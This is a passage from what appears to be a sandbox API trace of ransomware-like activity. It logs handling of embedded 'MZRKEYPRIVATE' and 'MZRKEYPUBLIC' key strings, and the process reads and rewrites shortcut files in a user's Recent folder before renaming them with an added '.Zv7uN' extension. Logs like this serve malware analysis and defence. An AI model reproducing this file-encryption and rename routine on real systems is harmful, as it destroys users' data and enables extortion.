w4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0082.377] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0082.378] GetCurrentThreadId () returned 0xa30 [0082.378] GetCurrentThreadId () returned 0xa30 [0082.378] GetCurrentThreadId () returned 0xa30 [0082.378] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0082.378] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0082.379] GetCurrentThreadId () returned 0xa30 [0082.379] GetCurrentThreadId () returned 0xa30 [0082.379] GetCurrentThreadId () returned 0xa30 [0082.379] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\n8TSq6Rxej90Ypz.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\n8tsq6rxej90ypz.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0082.379] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0082.379] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0082.379] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x151a [0082.379] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0082.379] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0x151a, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0x151a, lpOverlapped=0x0) returned 1 [0082.381] CloseHandle (hObject=0x124) returned 1 [0082.381] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\n8TSq6Rxej90Ypz.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\n8tsq6rxej90ypz.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0082.383] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0x151a, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0x151a, lpOverlapped=0x0) returned 1 [0082.384] CloseHandle (hObject=0x124) returned 1 [0082.397] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\n8TSq6Rxej90Ypz.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\n8tsq6rxej90ypz.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\n8TSq6Rxej90Ypz.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\n8tsq6rxej90ypz.lnk.zv7un")) returned 1 [0082.398] GetCurrentThreadId () returned 0xa30 [0082.398] GetCurrentThreadId () returned 0xa30 [0082.398] GetCurrentThreadId () returned 0xa30 [0082.398] GetCurrentThreadId () returned 0xa30 [0082.398] GetCurrentThreadId () returned 0xa30 [0082.398] GetCurrentThreadId () returned 0xa30 [0082.398] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2e0dea0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe2e0dea0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe2e0dea0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x395, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="N8umJoiWNw2WcG.lnk", cAlternateFileName="N8UMJO~1.LNK")) returned 1 [0082.398] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0082.398] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0082.398] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\N8umJoiWNw2WcG.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\n8umjoiwnw2wcg.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2e0dea0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe2e0dea0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe2e0dea0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x395)) returned 1 [0082.398] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\N8umJoiWNw2WcG.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\n8umjoiwnw2wcg.lnk")) returned 0x20 [0082.399] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\N8umJoiWNw2WcG.lnk", dwFileAttributes=0x80) returned 1 [0082.400] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0082.400] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKA